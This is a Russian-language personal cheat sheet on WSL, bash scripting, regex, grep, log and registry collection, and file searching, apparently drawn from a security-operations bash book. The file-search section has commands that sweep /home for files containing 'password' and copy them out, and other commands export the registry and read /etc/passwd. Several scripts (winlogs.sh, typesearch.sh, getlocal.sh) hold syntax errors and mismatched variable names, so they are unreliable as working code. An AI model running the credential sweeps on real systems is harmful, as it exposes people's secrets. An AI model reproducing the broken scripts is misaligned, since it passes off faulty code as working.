wsl
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 |
0. Установка WSL (всё одной командой) wsl —install 1. WSL 1 или WSL 2? wsl —set-default-version 2 | | WSL 1 | WSL 2 | |--------------------|---------------------------|-------| | Ядро | Эмуляция | Реальное Linux-ядро | Производительность | Быстрее на Windows-диске | Лучше на Linux-утилитах | Совместимость | Ограниченная | Почти 100% | | Поддержка Docker | x | y | GUI-приложения | x | y (в Windows 11) 2. Работа с файлами и системами Доступ к Windows-дискам: /mnt/c/Users/... Поддержка Git, Python, Node, npm, pip, apt 3. Можно запускать команды Windows внутри Linux и наоборот: notepad.exe test.txt 4. Настройка терминала Установи Windows Terminal из Microsoft Store — это красивый и мощный терминал с вкладками, шрифтами и темами. 5. Обновление WSL и Linux-дистрибуции wsl —update wsl —shutdown 6. Внутри Ubuntu: sudo apt update && sudo apt upgrade -y 7. Установка других дистрибутивов WSL поддерживает Ubuntu, Debian, Kali, Arch, SUSE и другие: wsl —list —online wsl —install —distribution Debian 8. Поддержка GUI и Docker В Windows 11 WSL 2 поддерживает графические приложения Linux из коробки (через WSLg). Docker Desktop работает напрямую с WSL 2 — больше не нужны громоздкие VM. 9. Дополнительные фичи .wslconfig для настройки ресурсов (CPU, RAM, swap) Автоматический mount директорий Работа с systemd, crontab, background-сервисами (в новых версиях) |
Основы:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 |
Командная строка - это общий термин, относящимся к средствам, передающим команды в интерактивную систему компьютера. Создать директорию: mkdir -p /tmp/fff Тип файла: type -t if type -t pwd type -t ls Посмотреть какие команды встроены в интерпретатор: compgen -k compgen -c compgen -b Стандартный ввод / вывод / ошибки 0 - Стандартный ввод (stdin) — поток данных, который программа получает на вход (по умолчанию — клавиатура). 1 - Стандартный вывод (stdout) — поток, в который программа записывает результаты (по умолчанию — терминал). 2 - Стандартный поток ошибок (stderr) — поток, куда выводятся сообщения об ошибках (по умолчанию — терминал). Перенаправление stdout: Оператор > позволяет записать вывод команды в файл. Если файл существует, он будет перезаписан. ls > output.txt Оператор >> добавляет вывод в конец файла, не перезаписывая его. echo "Hello" >> output.txt Чтобы перенаправить поток ошибок в файл, используется 2>. ls /nonexistent 2> errors.txt 2>> добавляет ошибки в конец файла: ls /nonexistent 2>> errors.txt Игнорирование ошибок: command 2> /dev/null Запись вывода и ошибок в один файл: command > output.txt 2>&1 Раздельная запись stdout и stderr: command > output.txt 2> errors.txt Отправка всех данных в «черную дыру»: command > /dev/null 2>&1 Сделать все одной строкой: prog < data.in > result.out 2> errr.msg Иногда требуется что бы программа выводила ошибки и вывод в один файл (обычный вывод программы) prog < data.in > result.out 2>&1 Выполнение команд в фоновом режиме: ping 192.168.10.56 > ping.log & ping 192.168.10.56 &> ping.log & jobs fg 1 crtrl+z Скрипты #!/bin/bash - шабанг, первая строка любого скрипта на баш #!/usr/bin/env bash - или такой шабанг(первая строка) позволит найти путь для баша bash myscript chmod 755 myscript ./myscript |
Основы работы:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 |
echo "Hello world" printf "Hello world\n" Переменные: MYVAR=textmyvar echo $MYVAR Если вы хотите присвоить переменной и сохранить последовательность слов, пробелов и спец символов: MYVAR='here is a longer set of worlds' OTHVAR="either double or single quotes will work" Двойные кавычки позволит выполнять другие элементы внутри строки: FIRSTVAR=beginning SECONDVAR="this is just the $FIRSTVAR" echo $SECONDVAR echo ${SECONDVAR} !!! Помните что при использовании двойных кавычек (") любые замены, начинающиеся с $, все равно выполняются, а если значения находятся внутри одинарных кавычек ('), никаких замен не будет. Сохранить вывод, полученный командной оболочки, с помощью символа $(): CMDOUT=$(pwd) Позиционные параметры: $# - возвращает общие кол-во параметров $0 - имя скрипта $1 - первый параметр $2 - второй параметр $3 - третий параметр #!/bin/bash #echoparms.sh <param 1> <param 1> <param 1> echo $# echo $0 echo $1 echo $2 echo $3 Условия: Успешное выполнение скрипта возвращает 0. Возвращаемое значение 0 считается success или true. Для того что бы увидеть как выполнилась команда, нужно посмотреть переменную $?: echo $? Пример условий if: if cmd then some cmds else other cmds fi Если каталог /tmp есть(в него возможен переход) то будет возращено 0 и выполнена команда ls: if cd /tmp then echo "her eis what is in /tmp:" ls -l fi Пример конвейера if: if ls | grep pdf then echo "found more pdf" else echo "no found pdf" fi Но есть нюанс если использовать с wc в конвейере: ls | grep pdf | wc Будет всегда возращено 0 Команда test и [, проверка атрибутов файлов или сравнения значений. Проверка файлов и каталогов: -d - проверка существования каталога -у - проверка существования файла -r - проверка существования файла и доступен ли он для чтения -w - проверка существования файла и доступен ли файл для записи -x - проверка существования файла и можно ли файл выполнить Проверка существования файла: if [[ -e $FILENAME ]] then echo $FILENAME exists fi Сравнение файлов или переменных: -eq - тест на равенство -gt - проверка, больше ли одно число, чем другое -lt - проверка, меньше ли одно число, чем другое Проверка меньше ли $VAL чем $MIN if [[ $VAL -lt $MIN ]] then echo "value is to small" fi !!! Внимание, да можно использовать знаки больше или меньше, но эффект может быть не ожиданым !!! Так что рекомендуется использовать -eq, -gt, -lt !!! Но если хочется, то можно использовать специальную математическую конструкцию из скобок (( )) !!! Оператор $ не требуется в этой конструкции if (( VAL < 12 )) then echo "value $VAL is to small" fi Последовательное выполнение команд с использование оператора ; Пример: cd $DIR; ls Специальная команда &&, если первая команда выполнилась успешно, то дальше будет выполнятся следующая команда: cd /etc/ && ls /etc && ls /etc/ | wc Специальная команда ||, если первая команда не выполнилась успешно то выполнится следующая команда. Команды [[ можно выполнять без конструкции if [[ -d $DIR ]] && ls "$DIR" Аналог вот такой записи: if [[ -d $DIR ]] then ls "$DIR" fi Вот еще примеры: [[ -d $DIR ]] || echo "err: no such directory: $DIR"; exit [[ -d $DIR ]] || { echo "err: no such directory: $DIR" ; exit; } Циклы while ( пока i меньше 1000, выполняем цикл) i=0 while (( i < 1000)) do echo $i let i++ done Цикл while выполняет команды как часть своего условия: while ls | grep -q pdf do echo -n 'there is a file with pdf in lts name here:' pwd cd .. done Циклы for: for ((i=0; i < 100; i++)) do echo $i done Еще for: ./args.sh bash is fun for ARG do echo here is an argument: $ARG done Еще far список: for VAL in 20 3 dog peach 7 vanilla do echo $VAL done Еще список можно генерировать используя другие программы, пример: for VAL in $(ls | grep pdf) {0..5} do echo $VAL done Функции и свои функции: function myfun () { # это тело функции } Выполнение своей функции: myfun Шаблоны подстановки и перечисление / wildcarding Символ "звездочка" (*) является шаблоном для любого количества любых символов в именах файлов и даже для их отсутствия. Единственный символ, который не удовлетворяет этому шаблону, — лидирующая точка в именах скрытых файлов. Таким образом, подставив звездочку в качестве аргумента команде echo, мы либо увидим в результате саму звездочку, если в каталоге нет файлов, либо оболочка подставит команде echo имена всех файлов в каталоге в командную строку. Имеются особенные имена файлов, начинающиеся с точки, например, .bashrc. Такие файлы называются скрытыми, т. к. их имена не выводятся командой ls без специальных опций. Шаблоном для имен скрытых файлов является .* (точка и звездочка). Вообще, любые шаблоны для скрытых файлов должны начинаться с символа "точка". Символ ? заменяет один символ в имени файла, который должен находиться в той позиции, где находится знак вопроса. В примере "echo .??????" получен список скрытых файлов (имена начинаются с точки), в именах которых после точки имеется шесть любых символов. Для того чтобы указать допустимый диапазон символов в шаблоне, необходимо использовать квадратные скобки, а в них — требуемый диапазон. Например, [0-9] — шаблон подходит для любых цифр, а [a-zA-Z], шаблон для букв английского. echo .[bcd]* Если необходимо указать набор символов, не входящих во множество, следует установить знак восклицания после открывающей скобки. Например, [!abc] — множество любых символов, кроме a, b или c. Очень удобен, хотя и не относится к шаблонам, механизм перечисления Bash. Он позволяет задать множество вариантов, которое должна перебрать оболочка, составляя последовательно все варианты, заданные в фигурных скобках echo .bash{rc,_profile} точка . - любой один символ ? - любой один символ * - любое кол-во символов а* - a, ab, abc и aecjejich ^ - начало строки $ - конец строки ^а - Любое «а», находящееся в начале строки *а$ - Любое «а», находящееся в конце строки а.с - Трехсимвольные строки, начинающиеся с «а» и заканчивающиеся на «с» [] - диапазон [^a] - прикол в таких скобках с "^" все что угодно только не "a" [^0-9] [^[:alnun:]] [bcf]at - bat, cat или fat [a-d]at - aat, bat, cat, dat, но не Aat, Bat и т. д. [A-D]at - Aat, Bat, Cat и Dat, но не aat, bat и т. д. 1[3-5]7 - 137,147 и 157 [0-9] [[:digit:]] \d \D [a-z] [A-Z] [a-zA-Z0-9] [[:alnun:]] \w \W [[:space:]] \s \S [A-Z] - большие буквы [0-9] - цифры [a-z] - мелкие буквы [A-Za-z] www\.[a-z]*\.com [:alnum:] - алфавитно цифровой [:alpha:] - Буквенный [:ascii:] - ASCII [:blank:] - пробел и символ табуляции [:ctrl:] - управляющий символ [:digit:] - число [:graph:] - все что угодно, кроме управляющих символов и пробелов [:lower:] - символы в нижнем регистре [:print:] - все кроме управляющих символов [:punct:] - символы пунктуации [:space:] - пробелы, включая разрывы строк [:upper:] - символы в верхнем регистре [:world:] - буквы, цифры и символы подчеркивания [:xdigit:] - шестнадцатеричный символ d{n,m} - квантификатор {} - последовательность touch {6,7,8}.txt - последовательно создаст файлы 6.txt, 7.txt, 8.txt grep -E '[0-9]{1,3}' \tHello - Символ табуляции, предшествующий слову hello \[tT][xX][Tt] - .txt, .TXT, .TxT или другие сочетания на основе изменения регистра \n - новая строка \r - символ возврата Мата символ * Некоторые мета символы сами по себе не соответствуют ничему, но изменяют значение предыдущего символа. Один из таких символов, это * (звездочка), который используется для сопоставления нулевому или большему числу повторений предшествующего символа. Заметьте, это значит, что * имеет другое значение в регулярках, нежели в глоббинге. Вот несколько примеров, и обратите особое внимание на те случаи где сопоставление регулярных выражений отличается от glob-подстановок: ab*c совпадает с «abbbbc», но не с «abqc» (в случае glob-подстановки, обе строчки будут удовлетворять шаблону. Вы уже поняли почему?) ab*c совпадает с «abc», но не с «abbqbbc» (опять же, при glob-подстановке, шаблон сопоставим с обоими строчками) ab*c совпадает с «ac», но не с «cba» (в случае глоббинга, ни «ac», ни «cba» не удовлетворяют шаблону) b[cq]*e совпадает с «bqe» и с «be» (glob-подстановке удовлетворяет «bqe», но не «be») b[cq]*e совпадает с «bccqqe», но не с «bccc» (при глоббинге шаблон точно так же совпадет с первым, но не со вторым) b[cq]*e совпадает с «bqqcce», но не с «cqe» (так же и при glob-подстановке) b[cq]*e удовлетворяет «bbbeee» (но не в случае глоббинга) .* сопоставим с любой строкой (glob-подстановке удовлетворяют только строки начинающиеся с ".") foo.* совпадет с любой подстрокой начинающийся с «foo» (в случае glob-подстановки этот шаблон будет совпадать со строками, начинающимися с четырех символов «foo.») Итак, повторим для закрепления: строчка «ac» подходит под регулярное выражение «ab*c» потому, что звездочка также позволяет повторение предшествующего выражения (b) ноль раз. И опять, ценно отметить для себя, что мета символ * в регулярках интерпретируется совершенно иначе, нежели символ * в glob-подстановках. |
Регулярные выражения:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 |
grep -c - вывести кол-во строк, соответствующего шаблону -E - включить расширенное регулярное выражение -f - читать шаблон поиска, находящийся в предоставленном файле -i - игнорировать регистр символов -l - вывести только имя файла и путь, по которому был найден шаблон -n - вывести номер строки файла, в которой был найден шаблон -P - включить механизм регулярных выражений Perl -R, -r - выполнить рекурсивный поиск подкаталогов Пример: grep -R -i 'password' /home egrep это grep -E Пример текса file.txt для работы с grep: 1 Two roads diverged in a yellow wood, 2 And sorry I cloud not travel both 3 And be one traveler, long I stood 4 And looked down one as far as I could 5 To where it bent in the undergrowth; 6 7 Excerpt from The Road Not Taken by Robert Frost 8 User: XTjon 9 XWING model 7 10 an an an Метасимвол . В регулярных выражения точка (.), представляет собой один символ подстановки grep 'T.o' file.txt Если требуется отобразить точку, не как любой символ, нужно перед ним поставить обратный слеш (\), так (\.) Метасимвол ? В регулярном выражении знак вопроса (?) делает любой предшествующей ему символ необязательным, символ сопоставляется один раз, а дальше игнорируется. egrep 'T.?o' file.txt Метасимвол * В регулярных выражениях звездочка (*) - это специальный символ, который соответствует предыдущему элементу неограниченное кол-во раз. grep 'T.*o' file.txt Метасимвол + Метасимвол плюс (+) работает так же, как и *, за исключением того, что предыдущий ему элемент должен встретиться хотя бы однажды. egrep 'T.+o' file.txt Группирование Для группирования символов можно использовать скобки. egrep 'And be one (stranger|traveler), long I stood' file.txt Квадратные скобки и классы символов [abc] - соответствует только символу a, или b, или c [1-5] - соответствует цифрам от 1 до 5 [a-zA-Z] - соответствует любым символа от a до z [0-9+-*/] - соответствует числам или любым четырем указанным математическим символам [0-9a-fA-F] - соответствует шестнадцатеричному символу \s - пробельный символ \S - не пробельный символ \d - цифровой символ \D - не цифровой символ \w - слово \W - не слово \x - шестнадцатеричное число (например, 0x5F) !!! Обратите внимания эти сокращения работаю только с опцией -P, Perl grep -P '\d' file.txt [:alnum:] - алфавитно цифровой [:alpha:] - Буквенный [:ascii:] - ASCII [:blank:] - пробел и символ табуляции [:ctrl:] - управляющий символ [:digit:] - число [:graph:] - все что угодно, кроме управляющих символов и пробелов [:lower:] - символы в нижнем регистре [:print:] - все кроме управляющих символов [:punct:] - символы пунктуации [:space:] - пробелы, включая разрывы строк [:upper:] - символы в верхнем регистре [:world:] - буквы, цифры и символы подчеркивания [:xdigit:] - шестнадцатеричный символ grep 'X[[:upper:][:digit:]]' file.txt Обратные ссылки: tags.txt Commmand <i>line</i> is <div>great</div> <u>!</u> Пример вытаскиваем код: egrep '<([A-Za-z]*)>.*</\1>' tags.txt Якоря и границы слов: Символ каретки (^) предназначен для привязки шаблона к началу строки. Символ доллар $ используется для привязки шаблона к концу последовательности строки. Сайты для работы с регулярками: http://www.rexegg.com https://regex101.com https://www.regextester.com http://www.regular-expressions.info |
cut
|
1 2 3 4 5 6 7 8 9 10 |
cut - используется для извлечения частей файла -c - символ для извлечения -d - символ, используемый в качестве разделителя полей, по умолчанию символ табуляции. -f - поля для извлечения Пример: cutefile.txt 12/05/2025 10.33.66.3 test.html 12/05/2025 17.14.13.3 loging.html cut -d' ' -f2 cutefile.txt |
file
|
1 2 3 4 5 6 7 |
file - используется для идентификации типа файла -f - читать список файлов для анализа из данного файла -k - не останавливается на первом совпадении, перечислить все -z - просмотреть сжатые файлы Пример: file filename.un |
head
|
1 2 3 |
head - отобразит несколько первых строк или бит, по умолчанию 10 -n - кол-во строк -c - количество байтов |
reg
|
1 2 3 4 5 6 7 |
reg - используется в winpws, для работы с реестром add - добавить запись в реестор export - копировать указанные записи реестра в файл query - возвратить список подразделов ниже указанного пути Пример: reg query HKEY_LOCAL_MACHINE |
wevtutil
|
1 2 3 4 5 6 7 8 9 10 11 12 |
wevtutil - просмотр системных журналов в windows el - перечислить доступные журналы qe - запросить события журнала Общие команды: /c - максимальное событие для чтения /f - форматирование вывода в виде текста или XML /rd - если установлено в true то сначала прочитать свежие события Примеры wevtutil el wevtutil qe System //c:1 //rd:true wevtutil qe System /c:1 /rd:true |
Собираем файлы журнала Linux
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
tar -czf ${HOSTNAME}_logs.tar.gz /var/log Параметры: -c - create - создание для создания архивного файла -z - zip - архивирование -f - file - указание имени файла ${HOSTNAME} - переменная баш, текущие имя хоста Логи: /var/log/apache2/ - журналы доступа и ошибок для вебсервера apache2 /var/log/auth.log - сведения о входе пользователя в систему, привилегии доступа и удаленная проверка подлинности /var/log/kern.log - журнал ядра /var/log/messages - общая не критическая системная информация /var/log/syslog - общие системные журналы конфиги: /etc/syslog.conf /etc/rsyslog.conf |
Собираем файлы журналов Windows
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
Для скрипта на баш используется git bash. Пример скрипта: #!/bin/bash # # winlogs.sh # Описание: # Собираем логи windows # Использование: # winlogs.sh [-z] # -z заархивировать вывод # TGZ=0 if (( $# > 0 )) then if [[ ${1:0:2} == '-z']] then TGZ=1 shift f1 SYSMAN=$(hostname) LOGDIR=${1:-/tmp/${SYSMAN}_logs} mkdir -p $LOGDIR cd ${LOGDIR} || exit -2 wevtutil el | while read ALOG do ALOG="${ALOG%$'\r'}" echo "${ALOG}:" SAFNAM="${ALOG// /_}" SAFNAM="${SAFNAM//\//-}" wevutil epl "$ALOG" "${SYSNAM}_${SAFNAM}.evtx" done if (( TGZ == 1 )) then tar -czvf ${SYSNAM}_logs.tgz *.evtx fi |
Сбор информации о системе
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
linux bash windows git bash Что? uname -a uname -a Показать информацию о версии ОС cat /proc/cpuinfo systeminfo Вывести сведения о системном оборудовании и связанную информацию ifconfig ipconfig Вывести информацию о сетевом интерфейсе route route print Показать таблицу маршрутизации arp -a arp -a Вывести таблицу ARP ( протокол определения адреса) netstat -a netstat -a Отобразить сетевые подключения mount net share Вывести информацию о файловых системах ps -e tasklist Отобразить запущенные процессы файл cmds.txt # Linux Command | MSWin Bash | XML tag | Purpose #-----------------+-------------+-----------+------------------ uname -a | uname -a | uname | O.S. ver cat /proc/cpuinfo | systeminfo | sysinfo | sysinfo ifocnfig | ipconfig | interface | Network info ip -a | ipconfig | interface | Network info route | route print | nroute | routing table arp -a | arp -a | narp | arp table netstat -a | netstat -a | netstat | network connection ss -a | netstat -a | netstat | network connection mount | net share | diskinfo | mounter disk ps -e | task list | processes | running processes |
Сценарий определения типа OS
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 |
getlocal.sh #!/bin/bash # # Описание: # Собираем основную информацию о системе и сбрасываем в файл # Использование: # getlocal.sh < cmds.txt # cmds < этот файл со списком команд для выполнения # # SepCmds - отделение команд от строки ввода function SepCmds() { LCMD=${ALINE%%|*} REST=${ALINE#*|} WCMD=${REST%%|*} REST=${RST#*|} TAG=${REST%%|*} if [[ $OSTYPE == "WsWin" ]] then CMD="$WCMD" else CMD="$LCMD" fi } function DumpInfo() { printf 'systeminfo host="%s" type="%s"' "$HOSTNAME" "$OSTYPE" printf ' date="%s" time="%s">\n' "$(date '+%F')" "$(date '+%T')" readarray CMDS for ALINE in "${CMDS[@]}" do # игнорировать комментарии if [[ ${ALINE:0:1} == '#' ]] ; then continue ; fi SepCmds if [[ ${CMD:0:3} == N/A ]] then continue else printf "<%s>\n" $TAG $CMD printf "</%s>\n" $TAG fi done printf "</systeminfo>\n" } OSTYPE=$(./osdetect.sh) HOSTNM=$(hostname) TMPFILE="${hostname}.info" # сбор информации DumpInfo > $TMPFILE 2>&1 |
Сбор данных о реестре Windows
|
1 2 3 4 5 |
Экспорт всего реестра: regedit //E ${HOSTNAME}_reg.bak Экспорт раздела: reg export HKEY_LOCAL_MACHINE $(HOSTNAME)_hklm.bak |
Поиск файлов в системе:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 |
find grep find /home -name '*password*' find /home -name '*password*' 2>/dev/null Поиск скрытых файлов в linux: find /home -name '.*' Поиск скрытых файлов в windows: dir c:\ /S /A:H Поиск и запуск команды: find /c -exec attrib '{}' \; | egrep '^.{4}H.*' Найти и показать путь к файлу: find . -exec attrib '{}' \; | egrep '^.{4}H.*' | cut -c22- Поиск по размеру файла: find /home -size +5G Чтобы определить самые большие файлы в системе: find /type f -exec ls -s '{}' \; | sort -n -r | head -5 Предположим, что вы только что выполнили следующую команду: find / -type f -exec ls -s '{}' \; Затем чтобы снова запустить ее или передать в конвейер, вы можете использовать символы !!: !! | sort -n -r | head -5 Можно найти большой файл не используя find: ls / -R -s | sort -n -r | head -5 Поиск по времени: Менее 5 мин: find /home -nmin -5 Менее 24 часов: find /home -mtime -1 Менее 48 часов: find /home -mtime +2 Доступ к файлу менее 24 часов find /home -atime -1 Для поиска файлов в каталоге, доступных менее 24 часов и копирования каждого файла в текущий каталог "./": find /home -type f -atime -1 -exec cp '{}' ./ \; Поиск контента: Найти строку 'password': grep -i -r /home -e 'password' Комбинирование команды find и grep: find /home -type f -exec grep 'password' '{}' \; -exec cp '{}' . \; |
Поиск по типу файла:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 |
file title.png Сценарий typesearch.sh #!/bin/bash # Описание: # Поиск в файловой системе файлов указанного типа. # Выводим путь, когда найдем # Использование: # typesearch.sh [-c dir] [-i] [-R|r] <pattern> <path> # -c Копировать найденные файлы в каталог # -i Игнорировать регистр # -R|r Рекурсивный поиск подкаталогов # <pattern> Шаблон типа файла для поиска # <path> Путь для начала поиска DEEPPORNOT="-maxdepth 1" # только текущий каталог; по умолчанию while getopts 'c:irR' opt; do case "${opt}" in c) # копировать найденные файлы в указанный каталог COPY=YES DISTDIR="$OPTARG" ;; i) # игнорировать регистр при поиске CASEMATCH='-1' ;; [Rr]) # рекурсивно unset DEEPPORNOT;; *) # неизвестный/неподдерживаемый вариант # при получении ошибки mesg от gretops просто выйти exit 2;; esac done shift $((OPTIND -1)) PATTERN=${1;-PDF document} STARTDIR=${2:-.} # по умолчанию начать здесь find $STARTDIR $DEEPORNOT -type f | while read FN do file $FN | egrep -q $CASEMATCH "$PATTRERN" if (( $? ==0 )) # найден один then echo $FN if [[ $COPY ]] then cp -p $FN $DESTDIR fi fi done |
Поиск по хеш-значению
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
hashsearch.sh #!/bin/bash # Описание: # В указанном каталога выполняем рекурсивный поиск # файла по заданному SHA-1 # Использование: # hashsearch.sh <hash> <directory> # hash - значение хеша SHA-1 разыскиваемого файла # directory - каталог для поиска HASH=$1 DIR=${2:-.} # cmd, по умолчанию это сдесь # конвертируем путь в абсолютный function mkabspath() { if [[ $1 == /* ]] then ABS=$1 else ABS="$PWD/$1" fi } find $DIR -type f | while read fn do THISONE=$(sha1sum "$fn") THISONE=${THISONE%% *} if [[ $THISONE == $HASH ]] then mkabspath "$fn" echo $ABS fi done |
Обработка данных:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 |
sed tail tr файл awkuser.txt: Mike Jones John Smith Kathy Jones Jane Kennedy Tim Scott awk - фактически комбайн для обработки текста -f - читать указанный файл $0 - вся строка $1 - первое слово $2 - второе слово $N - и т.д. Пример: awk '$2 == "jones" {print $0}' awkusers.txt файл username.txt: 1,jdoe 2,puser 3,jsmith файл accesstime.txt: 0745,file1.txt,1 0830,file3.txt,2 0830,file22.txt,3 join - объединяет строки из двух фалов с общими полями -j - использовать указанный номер поля. Поля начинаются с 1 -t - символ, который будет использоваться в качестве разделителя --header - использовать в качестве заголовка Пример: join -1 3 -2 1 -t, accesstime.txt username.txt файл ips.txt ip,OS 10.0.4.2,Windows 8 10.0.4.35,Ubuntu 16 10.0.4.107,macOS 10.0.4.145,macOS sed - редактирование и замена текста в потоке файлов Пример: sed 's/10\.0\.0.\.35/10.0.4.27/g' ips.txt tail - вывод последних строк файла -f - выполнять постоянный мониторинг файлов и выходных строк по мере их добавления. -n - вывести указанное кол-во строк Пример: tail -n 1 ips.txt tr - преобразование одного символа в другой или отображения замещающего символа. -d - удалить указанные знаки из входного потока -s - уплотнить, то есть заменить повторяющиеся экземпляры символа одним экземпляром Пример: tr '\\:' '/|' < infile.txt > outfile.txt Пример файла csvex.txt "name","username","phone","password hash" "john Smith", "jsmith","545-555-1212",234u923923u9u9fho8fgw87g8w7 "Bill Smith", "bsmith","555-555-1512",s99ds9uewurwyroyrdsyhfdishf "Jane Smith", "jsmith","155-555-1212",qwepiju0sdfjm238rh30r8j2p0w "john LAH", "bjones","525-555-1212",odjfohsohfio7bhbfsodsbodfsbds "Yohn Ymith", "ymith","355-555-1212",kdskldfsdshuidyusbhudshdfsy3 cut - используется для извлечения из входного файла или потока, полей разделенных указанным символом. (попробуйте echo 'abc def ghi jkl' | cut -d ' ' -f2,2 прим. пер.) cut - показать содержимое вырезав символы cut -c 1,4,7 name.txt - показать содержимое вырезав символы cat /etc/passwd | cut -f 1,3,6 -d ':' - показать содержимое 1,3,6 столбика вырезав 2,4,5 разделенные символом ':' Примеры: cut -d',' -f1 csvex.txt cut -d',' -f1 csvex.txt | tr -d '"' cut -d',' -f1 csvex.txt | tr -d '"' | tail -n +2 awk -F "," '{print $4}' csvex.txt grep "$(awk -F "," '{print $4}' csvex.txt)" passwords.txt cut -d',' -f3 csvex.txt | cut -c2-13 | tail -n +2 grep -o '<firstName>.*<\/firstName>' book.xml grep -Pzo '(?s)<author>.*?<\/author>' book.xml grep -Po '<firstName>.?<\/firstName>' book.xml | sed 's/<[^>]*>//g' grep -o '"firstName": ".*"' book.json grep -o '"firstName": ".*"' book.json | cut -d " " -f2 | tr -d '\"' jq - это мощный легкий и JSON-анализатор jq '.title' book.json jq '.authors[].firstName' book.json Агрегирование данных: find /data -type f -exec grep '{}' -e 'ProductionWebServer' \; -exec cat '{}' >> ProductionWebServerAgg.txt \; join -t, -2 2 ips.txt user.txt Ссылка: https://rapidcyberops.com/ |
Анализ данных:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
sort - сортировка текстового файла -r - сортировка по убыванию -f - игнорировать регистр -n - использовать числовой порядок 1, 2, 3 и т.д. -k - сортировать на основе подмножества данных (ключа) в строке -o - записать вывод в указанный файл -u - фильтр уникальности Пример: sort -k 3 file1.txt sort -k 2.5,2.7 file1.txt uniq - отфильтровать повторяющиеся строки -c - вывести, сколько раз повторяется строка -f - перед сравнением проигнорировать указанное кол-во полей -i - игнорировать регистр букв |
Ознакомление с журналом доступа к веб серверу Apache2
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 |
CLF - Combined Log Format cat access.log 192.168.15.53 - - [11/Jul/2025:15:09:25 +0300] "GET / HTTP/1.1" 200 3380 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" 192.168.15.53 - - [11/Jul/2025:15:09:25 +0300] "GET /icons/openlogo-75.png HTTP/1.1" 200 6040 "http://192.168.15.167/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" 192.168.15.53 - - [11/Jul/2025:15:09:25 +0300] "GET /favicon.ico HTTP/1.1" 404 492 "http://192.168.15.167/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" Что мы видим: Поле Значение Описание 1 192.168.15.53 ip хоста который запросил страницу у веб сервера 2 - идентификатор протокола RFC 1413 (-, если его нет) 3 - идентификатор пользователя с проверкой подлинности HTTP (-, если его нет) 4 [11/Jul/2025:15:09:25 +0300] Смещение даты, времени и GMT (часовой пояс) 5 GET / Страница которая была запрошена 6 HTTP/1.1 Версия протокола HTTP 7 200 Код состояния, 